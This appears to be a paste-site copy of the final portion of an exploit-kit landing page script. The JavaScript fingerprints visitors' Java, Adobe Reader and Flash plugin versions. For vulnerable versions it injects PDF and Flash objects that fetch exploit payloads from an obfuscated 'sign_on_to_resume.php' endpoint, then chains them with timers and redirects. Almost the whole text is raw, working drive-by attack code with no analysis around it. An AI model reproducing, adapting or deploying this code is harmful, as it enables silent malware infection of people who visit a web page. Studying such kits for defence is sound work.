  1841.     var d = document.createElement("object");
  1842.     d.setAttribute("data", "/detects/sign_on_to_resume.php?cnr=" + x("1afab") + "&kcio=" + x("m") + "&rtaqr=32:2w:31:32:1k:33:1m:1f:1j:1f&tcllutfo=" + x(pdfver.join(".")));
  1843.     d.setAttribute("type", "application/pdf");
  1844.     document.body.appendChild(d);
  1845. }
  1846. function f1() {
  1847.     var oSpan = document.createElement("span");
  1848.     document.body.appendChild(oSpan);
  1849.     var url = "/detects/sign_on_to_resume.php?zzofcb=" + x("1afab") + "&ebo=" + x("hwopwu") + "&guk=32:2w:31:32:1k:33:1m:1f:1j:1f&info=02e6b1525353caa8ad35b5b5b15633aeb13157ab35335733375453ac55b436b5f1b5b5f155b3f555305754b737af51b252ca3556b1cf4f7e7a65596e5a";
  1850.     oSpan.innerHTML = "<object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' id='asd' width='600' height='400' codebase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab'><param name='movie' value='" + url + "' /><embed src='" + url + "' name='asd' align='middle' allowNetworking='all' type='application/x-shockwave-flash' pluginspage='http://www.macromedia.com/go/getflashplayer'></embed></object>";
  1851. }
  1852. function ff2() {
  1853.     return false;
  1854. }
  1855. document.write('');
  1856. setTimeout(end_redirect, 61000);
  1857. var pdfver = [];
  1858.  
  1859. function svwrbew6436b($) {
  1860.     var ar = [];
  1861.     var javax = ($.getVersion("Ja" + "va") + ".").toString()["split"](".");
  1862.     if ($.isMinVersion("Ja" + "va") >= 0 && ((javax[0] == 1 && javax[1] == 7 && javax[3] < 9))) {
  1863.         ar["push"](j2);
  1864.     } else if ($.isMinVersion("Ja" + "va") >= 0 && ((javax[0] == 1 && javax[1] == 6 && javax[3] < 33) || (javax[0] == 1 && javax[1] < 6))) {
  1865.         ar["push"](j1);
  1866.     }
  1867.     pdfver = PluginDetect.getVersion("AdobeReader");
  1868.     if (window.document) if (typeof pdfver == "string") {
  1869.         pdfver = pdfver["split"](".")
  1870.     } else {
  1871.         pdfver = [0, 0, 0, 0]
  1872.     }
  1873.     if (pdfver[0] > 0 && pdfver[0] < 8) {
  1874.         if (window.document) ar["push"](p1);
  1875.     }
  1876.     if (window.document && (pdfver[0] == 8 || (pdfver[0] == 9 && pdfver[1] < 4))) {
  1877.         ar["push"](p2);
  1878.     }
  1879.     var ver = ($$.getVersion("Flash") + ".").toString()["split"](".");
  1880.     if (((ver[0] == 10 && ver[1] == 0 && ver[2] > 40) || (window.document && (ver[0] == 10 && ver[1] > 0) && (ver[0] == 10 && ver[1] < 2))) || window.document && ((ver[0] == 10 && ver[1] == 2 && ver[2] < 159) || (ver[0] == 10 && ver[1] < 2))) {
  1881.         ar["push"](ff2);
  1882.     }
  1883.     if ((ver[0] == 10 && ver[1] == 3 && ver[2] == 181 && ver[3] <= 23) || (ver[0] == 10 && ver[1] == 3 && ver[2] < 181)) {
  1884.         ar["push"](f1);
  1885.     }
  1886.     var arcalli = 0;
  1887.     var arcall = function() {
  1888.             if (ar.length <= arcalli) return 123;
  1889.             ss = setTimeout;
  1890.             var res = ar[arcalli]();
  1891.             arcalli++;
  1892.             if (res && window.document) {
  1893.                 ss(function() {
  1894.                     arcall()
  1895.                 }, 5509);
  1896.             } else {
  1897.                 arcall();
  1898.             }
  1899.         };
  1900.     arcall();
  1901. }
  1902. $$["onDetec" + "tionDone"]("Ja" + "va", svwrbew6436b, "../maintain/getJavaInfo.jar");
  1903.  
  1904.  
  1905.  
  1906. ###End script###
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement